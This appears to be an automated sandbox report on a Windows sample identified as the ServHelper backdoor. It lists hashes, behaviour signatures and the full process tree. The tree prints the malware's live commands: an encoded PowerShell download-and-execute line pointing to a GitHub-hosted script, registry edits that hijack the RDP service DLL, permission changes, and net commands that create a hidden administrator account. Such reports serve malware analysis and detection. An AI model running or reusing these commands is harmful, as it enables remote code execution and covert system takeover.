Analysis
-
max time kernel
126s -
max time network
145s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
20-08-2021 20:46
Static task
static1
Behavioral task
behavioral1
Sample
3cb66d271255d59945381fdc6fab9b91.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
3cb66d271255d59945381fdc6fab9b91.exe
Resource
win10v20210408
General
-
Target
3cb66d271255d59945381fdc6fab9b91.exe
-
Size
5.9MB
-
MD5
3cb66d271255d59945381fdc6fab9b91
-
SHA1
cba5bc5d238ffa84cadb81d8ac65c81c289ec74a
-
SHA256
5911ad0a2f2f76cbe6e83b58b95ac820aee88b7fb37e017275bd3984b3b92bfa
-
SHA512
770a6f375c8ba6c3c4a7da63652b58ccac9a3a0c005cf1cfc8db21447ae247bcc705c8f20da683ca89e1f0102604e23310be76c4c5daf358f81d2b36008c9a75
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 12 872 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exepid process 1468 icacls.exe 2016 icacls.exe 1624 icacls.exe 1932 icacls.exe 1060 icacls.exe 396 icacls.exe 1896 icacls.exe 1900 takeown.exe -
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Loads dropped DLL 2 IoCs
Processes:
pid process 1988 1988 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exepid process 1468 icacls.exe 2016 icacls.exe 1624 icacls.exe 1932 icacls.exe 1060 icacls.exe 396 icacls.exe 1896 icacls.exe 1900 takeown.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 21 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f2d95843-4c5b-4d79-a923-d9be0d89f8e8 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a33d0401-1610-4123-a732-482c9dfec702 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f140fe95-8675-4ade-a4be-b1e8b001b1c6 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e952d098-3de6-48da-b841-786d191ba72f powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7e3c5f06-dbcb-4cbd-a0c0-ba99a83397e7 powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_17e15b52-6017-4337-bede-318d26ea4f2c powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7ec5dca0-365c-42dd-b3ef-124a38f94ad3 powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_991d5708-1962-43d6-869b-3527e51e79c5 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5890da80-e81f-44b9-a3ff-c680aa22505d powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_79e2d786-935a-47ff-ba14-4ab46d28bcb5 powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q4HXG76QLY9O3GXVWZCX.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_00496957-e1c2-4ce6-a0db-e3575dcbf9ce powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
Processes:
WMIC.exeWMIC.exepowershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 600fa8110596d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Processes:
3cb66d271255d59945381fdc6fab9b91.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 3cb66d271255d59945381fdc6fab9b91.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 3cb66d271255d59945381fdc6fab9b91.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 320 powershell.exe 320 powershell.exe 956 powershell.exe 956 powershell.exe 792 powershell.exe 792 powershell.exe 1720 powershell.exe 1720 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 872 powershell.exe 872 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid process 464 1988 1988 1988 1988 -
Suspicious use of AdjustPrivilegeToken 19 IoCs
Processes:
3cb66d271255d59945381fdc6fab9b91.exepowershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 1088 3cb66d271255d59945381fdc6fab9b91.exe Token: SeDebugPrivilege 320 powershell.exe Token: SeDebugPrivilege 956 powershell.exe Token: SeDebugPrivilege 792 powershell.exe Token: SeDebugPrivilege 1720 powershell.exe Token: SeRestorePrivilege 2016 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1312 WMIC.exe Token: SeIncreaseQuotaPrivilege 1312 WMIC.exe Token: SeAuditPrivilege 1312 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1312 WMIC.exe Token: SeIncreaseQuotaPrivilege 1312 WMIC.exe Token: SeAuditPrivilege 1312 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 536 WMIC.exe Token: SeIncreaseQuotaPrivilege 536 WMIC.exe Token: SeAuditPrivilege 536 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 536 WMIC.exe Token: SeIncreaseQuotaPrivilege 536 WMIC.exe Token: SeAuditPrivilege 536 WMIC.exe Token: SeDebugPrivilege 872 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
3cb66d271255d59945381fdc6fab9b91.exepowershell.execsc.exenet.execmd.execmd.exedescription pid process target process PID 1088 wrote to memory of 320 1088 3cb66d271255d59945381fdc6fab9b91.exe powershell.exe PID 1088 wrote to memory of 320 1088 3cb66d271255d59945381fdc6fab9b91.exe powershell.exe PID 1088 wrote to memory of 320 1088 3cb66d271255d59945381fdc6fab9b91.exe powershell.exe PID 320 wrote to memory of 756 320 powershell.exe csc.exe PID 320 wrote to memory of 756 320 powershell.exe csc.exe PID 320 wrote to memory of 756 320 powershell.exe csc.exe PID 756 wrote to memory of 792 756 csc.exe cvtres.exe PID 756 wrote to memory of 792 756 csc.exe cvtres.exe PID 756 wrote to memory of 792 756 csc.exe cvtres.exe PID 320 wrote to memory of 956 320 powershell.exe powershell.exe PID 320 wrote to memory of 956 320 powershell.exe powershell.exe PID 320 wrote to memory of 956 320 powershell.exe powershell.exe PID 320 wrote to memory of 792 320 powershell.exe powershell.exe PID 320 wrote to memory of 792 320 powershell.exe powershell.exe PID 320 wrote to memory of 792 320 powershell.exe powershell.exe PID 320 wrote to memory of 1720 320 powershell.exe powershell.exe PID 320 wrote to memory of 1720 320 powershell.exe powershell.exe PID 320 wrote to memory of 1720 320 powershell.exe powershell.exe PID 320 wrote to memory of 1900 320 powershell.exe takeown.exe PID 320 wrote to memory of 1900 320 powershell.exe takeown.exe PID 320 wrote to memory of 1900 320 powershell.exe takeown.exe PID 320 wrote to memory of 1468 320 powershell.exe icacls.exe PID 320 wrote to memory of 1468 320 powershell.exe icacls.exe PID 320 wrote to memory of 1468 320 powershell.exe icacls.exe PID 320 wrote to memory of 2016 320 powershell.exe icacls.exe PID 320 wrote to memory of 2016 320 powershell.exe icacls.exe PID 320 wrote to memory of 2016 320 powershell.exe icacls.exe PID 320 wrote to memory of 1624 320 powershell.exe icacls.exe PID 320 wrote to memory of 1624 320 powershell.exe icacls.exe PID 320 wrote to memory of 1624 320 powershell.exe icacls.exe PID 320 wrote to memory of 1932 320 powershell.exe icacls.exe PID 320 wrote to memory of 1932 320 powershell.exe icacls.exe PID 320 wrote to memory of 1932 320 powershell.exe icacls.exe PID 320 wrote to memory of 1060 320 powershell.exe icacls.exe PID 320 wrote to memory of 1060 320 powershell.exe icacls.exe PID 320 wrote to memory of 1060 320 powershell.exe icacls.exe PID 320 wrote to memory of 396 320 powershell.exe icacls.exe PID 320 wrote to memory of 396 320 powershell.exe icacls.exe PID 320 wrote to memory of 396 320 powershell.exe icacls.exe PID 320 wrote to memory of 1896 320 powershell.exe icacls.exe PID 320 wrote to memory of 1896 320 powershell.exe icacls.exe PID 320 wrote to memory of 1896 320 powershell.exe icacls.exe PID 320 wrote to memory of 872 320 powershell.exe reg.exe PID 320 wrote to memory of 872 320 powershell.exe reg.exe PID 320 wrote to memory of 872 320 powershell.exe reg.exe PID 320 wrote to memory of 956 320 powershell.exe reg.exe PID 320 wrote to memory of 956 320 powershell.exe reg.exe PID 320 wrote to memory of 956 320 powershell.exe reg.exe PID 320 wrote to memory of 2036 320 powershell.exe reg.exe PID 320 wrote to memory of 2036 320 powershell.exe reg.exe PID 320 wrote to memory of 2036 320 powershell.exe reg.exe PID 320 wrote to memory of 1524 320 powershell.exe net.exe PID 320 wrote to memory of 1524 320 powershell.exe net.exe PID 320 wrote to memory of 1524 320 powershell.exe net.exe PID 1524 wrote to memory of 1164 1524 net.exe net1.exe PID 1524 wrote to memory of 1164 1524 net.exe net1.exe PID 1524 wrote to memory of 1164 1524 net.exe net1.exe PID 320 wrote to memory of 1716 320 powershell.exe cmd.exe PID 320 wrote to memory of 1716 320 powershell.exe cmd.exe PID 320 wrote to memory of 1716 320 powershell.exe cmd.exe PID 1716 wrote to memory of 632 1716 cmd.exe cmd.exe PID 1716 wrote to memory of 632 1716 cmd.exe cmd.exe PID 1716 wrote to memory of 632 1716 cmd.exe cmd.exe PID 632 wrote to memory of 1140 632 cmd.exe net.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe"C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe"1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vfy2egtm\vfy2egtm.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:756 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD105.tmp" "c:\Users\Admin\AppData\Local\Temp\vfy2egtm\CSC550B9BFA4C394D628F9BEA5F8459D77A.TMP"4⤵PID:792
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:792 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720 -
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1900 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1468 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2016 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1624 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1932 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1060 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:396 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1896 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:872
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:956 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:2036
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1164
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1140
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:640
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1720
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1284
-
C:\Windows\system32\net.exenet start TermService5⤵PID:2044
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1588
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1108
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:536
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1932
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:756
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:292
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc DyYtFW3u /add1⤵PID:2040
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc DyYtFW3u /add2⤵PID:1552
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc DyYtFW3u /add3⤵PID:692
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1524
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:280
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:632
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD1⤵PID:1312
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD2⤵PID:1104
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD3⤵PID:1660
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:432
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:2036
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1348
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc DyYtFW3u1⤵PID:584
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc DyYtFW3u2⤵PID:1140
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc DyYtFW3u3⤵PID:752
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1060
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1312
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:928
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:536
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1716
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1980
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:872
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1d288f2b-d4b7-4d9a-8b50-a3bc9f3b6153
MD5d89968acfbd0cd60b51df04860d99896
SHA1b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA2561020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_86823cc6-11aa-4d42-aa39-1ca9067fe7dc
MD5faa37917b36371249ac9fcf93317bf97
SHA1a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4
SHA256b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132
SHA512614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2901e33-d95a-4be1-8dcf-0d283e801981
MD52d5cd190b5db0620cd62e3cd6ba1dcd3
SHA1ff4f229f4fbacccdf11d98c04ba756bda80aac7a
SHA256ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d
SHA512edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c15818dd-cf7a-4847-9043-5ceb4e03b651
MD57f79b990cb5ed648f9e583fe35527aa7
SHA171b177b48c8bd745ef02c2affad79ca222da7c33
SHA256080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA51220926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c92ddd8c-937e-4c28-b1a9-5acc5b0003fd
MD5a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA181dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA5128c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d52a4227-d0bb-4c8f-9bd5-7be4aa976363
MD56f0d509e28be1af95ba237d4f43adab4
SHA1c665febe79e435843553bee86a6cea731ce6c5e4
SHA256f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e
SHA5128dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dfdeea3b-9c3b-43b6-be6f-c48a330701bc
MD5e5b3ba61c3cf07deda462c9b27eb4166
SHA1b324dad73048be6e27467315f82b7a5c1438a1f9
SHA256b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925
SHA512a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
